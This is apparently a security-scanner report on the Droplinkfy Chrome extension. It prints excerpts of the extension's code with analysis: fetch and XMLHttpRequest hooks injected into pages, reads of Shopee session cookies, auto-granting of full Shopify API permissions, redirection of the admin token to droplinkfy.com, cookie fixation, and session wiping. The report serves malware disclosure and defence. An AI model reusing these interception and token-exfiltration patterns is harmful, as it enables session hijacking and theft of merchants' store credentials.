Security Alert: Critical Security Risk
Droplinkfy
ID: lohegmihhijfgdfihpfmbdlmloecfcdj
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- hourth-chrome-extensionsView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- Yes
- Mailbox exists
- Yes
- Website
- Visit
Pacote de ferramentas da Droplinkfy.
Extensão da Droplinkfy para capturar os dados de produtos da Shopee, Aliexpress e Shein.
The extension replaces the native `window.fetch` with a wrapper that intercepts every HTTP request and response on targeted pages (Shopee, Shein, AliExpress), capturing the full URL, request method, request body, request headers, response body, response status, and response headers before dispatching them to extension-controlled listeners. This is a classic man-in-the-middle network interception pattern that enables the extension to read all API responses the site receives, including authentication tokens, user data, and transaction details.
window.fetch = async (...args) => { let errored = false; let [resource, config] = args; config = config || {}; try { if (resource.url) resource = resource.url; if (resource.toString) resource = resource.toString(); if (resource.startsWith("/")) resource = window.location.origin + resource; } catch { errored = true; console.warn("Could'nt hijack", args); } const response = await originalFetch(...args); if (errored) return response; const responseText = await response.clone().text(); dispatch({ sender: "FetchAPI", source: resource, requestMethod: config.method || "GET", requestBody: config.body, requestHeaders: config.headers || {}, responseText, responseStatus: response.status, responseHeaders: Object.fromEntries(response.headers.entries()), }); return response;};In parallel with the Fetch API hook, the extension also monkey-patches `XMLHttpRequest.prototype.send` to intercept every XHR request made on targeted pages, capturing the full response body, URL, status, and all response headers. Combined with the Fetch hook this creates a complete interception layer covering all HTTP traffic on Shopee, Shein, and AliExpress, allowing the extension to silently read all data exchanged between the browser and those sites.
var XHR = XMLHttpRequest.prototype;var send = XHR.send;XHR.send = function() { this.addEventListener("load", function() { dispatch({ sender: "XMLHttpRequest", source: this.responseURL, responseText: ['', "text"].includes(this.responseType) ? this.responseText : JSON.stringify(this.response), responseStatus: this.status, responseHeaders: this .getAllResponseHeaders() .split("\r\n") .reduce((result, current) => { let [name, value] = current.split(": "); result[name] = value; return result; }, {}), }); }); return send.apply(this, arguments);};The extension injects a copy of itself into the page's MAIN world by dynamically creating a `<script>` tag pointing to `chrome.runtime.getURL('content/hijacker.js')`, which is whitelisted in `web_accessible_resources`. This bypasses the content script isolation boundary — the injected script runs with full access to the page's JavaScript environment, where it can overwrite native browser APIs such as `fetch` and `XMLHttpRequest` in a way that the page cannot detect or defend against.
try { if (window.__hijacker_state === undefined) { window.__hijacker_state = "loaded"; const script = document.createElement("script"); script.src = chrome.runtime.getURL("content/hijacker.js"); (document.head || document.documentElement) .appendChild(script); script.onload = function() { script.remove(); } }} catch {}window.__hijacker_state = "loaded";During the `createShopeeAccount` flow the extension explicitly reads four Shopee session cookies — `SPC_F` (device fingerprint), `SPC_SI` (session identifier), `csrftoken`, and `shopee_webUnique_ccd` — and transmits them together with the intercepted `captchaSignature` back to the extension runtime, which relays them to the droplinkfy.com domain. These credentials are sufficient to impersonate the victim's Shopee session or perform authenticated actions on their behalf.
Wall.showLoading("Preparando envio dos dados")const SPC_F = await Cookies.get({ name: "SPC_F"});const SPC_SI = await Cookies.get({ name: "SPC_SI"});const csrftoken = await Cookies.get({ name: "csrftoken"});const shopee_webUnique_ccd = await Cookies.get({ name: "shopee_webUnique_ccd"});const cookies = { SPC_F, SPC_SI, csrftoken, shopee_webUnique_ccd,};Wall.showLoading("Enviando todos os dados necessários");await context.reply({ captchaSignature, cookies});When setting up a Shopify private app on the admin panel, the extension automatically checks every permission checkbox on the API integration configuration page, granting the generated API key maximum access to the merchant's Shopify store — including orders, customers, products, and financial data — without explicitly informing the user of the scope being granted.
function monitorCheckboxes() { if (window.location.pathname.includes("/configuration/admin_api_integration")) { progress.textContent = "Progresso: 80%" updateProgress(3) const checkboxes = document.querySelectorAll('input[type="checkbox"]'); for (let i = 0; i < checkboxes.length; i++) if (!checkboxes[i].checked) checkboxes[i].click(); const intervalId = setInterval(async () => { // ... clicks confirm button in modal }, 500); }}After automatically creating a Shopify private app with all permissions enabled, this code polls the API credentials page to read the generated access token from a text input and then redirects the browser to `droplinkfy.com` with the token and shop domain as URL query parameters. This silently exfiltrates the Shopify Admin API key — granting droplinkfy.com persistent programmatic access to the merchant's entire Shopify store — without any clear disclosure to the user.
async function monitorApiCredentials() { if (window.location.pathname.endsWith('api_credentials')) { clearInterval(timerInterval); progress.textContent = "Finalizando..." updateProgress(4) const button = await querySelectorWithRetry.select('querySelector', '.Polaris-Button.Polaris-Button--pressable.Polaris-Button--variantPlain.Polaris-Button--sizeMedium.Polaris-Button--textAlignCenter' ); if (button && !button.querySelector('.Polaris-Button__Icon')) { button.click(); } const input = await querySelectorWithRetry.select('querySelector', '.Polaris-TextField__Input.Polaris-TextField__Input--suffixed.Polaris-TextField--monospaced' ); if (input) { const inputInterval = setInterval(() => { const token = input.value; if (/[a-zA-Z0-9]/.test(token)) { window.location.replace(`${origin}?token=${token}&domain=${storeId}.myshopify.com`) clearInterval(timerInterval) clearInterval(apiCredentialsInterval); clearInterval(inputInterval); } }, 500); } }}The background service worker receives a `spc_f` value from the droplinkfy.com domain (via the `consult` message flow) and injects it as the `SPC_F` Shopee cookie — a device fingerprint/session token. This constitutes session fixation: an externally controlled value is being written as a Shopee authentication cookie, allowing the operator to predetermine the session identity used when the victim's browser opens Shopee, facilitating account takeover or session sharing.
const cookie = await getCookie("SPC_F");if (cookie === null || !!cookie.value || isReset) { await setCookie("SPC_F", data.spc_f);}sendResponse({});})();return;}The extension listens for intercepted network traffic matching Shopee's product-detail API endpoint (`/api/v4/pdp/get_pc`) and forwards the full raw response body to the background service worker via `chrome.runtime.sendMessage`. This demonstrates the hijack infrastructure being used to siphon server API responses — in this case product data — but the same mechanism is applied more broadly and can capture any data returned by Shopee's backend to the authenticated user.
window.addEventListener("hijack", async function({ detail}) { if (/\/api\/v4\/pdp\/get_pc/.test(detail.source)) { clearTimeout(timeoutID); console.log("hijacked", detail.responseText); if (detail.responseText.includes("90309999")) { isRedirect = true; return; } const response = await chrome.runtime.sendMessage({ event: "data", data: detail.responseText, }); console.log("response after hijack", response); clearInterval(intervalId); }});The isolated-world content script acts as a relay bridge that listens for `hijack` events emitted by the MAIN-world network interceptor and forwards matching requests (filtered by registered URL patterns) into the extension's internal messaging bus via `Hijack_propagate`. This design allows MAIN-world interception results — which contain full request and response data — to be consumed by page-specific handlers running in the isolated world, completing the data pipeline from network hook to extension backend.
Internal.events["Hijack_register"] = async function(context) { patterns.push(...context.data.patterns); await context.reply(null);};window.addEventListener("hijack", async ({ detail}) => { messages.push(detail); for (let pattern of patterns) { const regex = new RegExp(pattern); if (regex.test(detail.source)) { detail.pattern = pattern; Internal.sendMessage({ name: "Hijack_propagate", data: detail }, { sendToWebPage: true }); break; } }});During the automated Shopee account creation flow, the extension clears all of the user's existing Shopee cookies, localStorage, and sessionStorage. This forced session wipe logs the user out of their existing Shopee account and destroys locally cached data, enabling the extension to inject its own controlled session state (via the `SPC_F` cookie set by the background script) before the new account registration proceeds.
Wall.showLoading("Limpando dados da Shopee");try { await Cookies.clear(); localStorage.clear(); sessionStorage.clear();} catch (err) { Logger.err(err);}By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 2.0.15 | 10 |
Files with findings
5 distinct paths — top paths by unique finding count:
- content/hijacker.js3
- content/pages/shopee.js3
- content/pages/shopifyConfigureApp.js2
- background.js1
- content/plugins/isolatedWorld.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.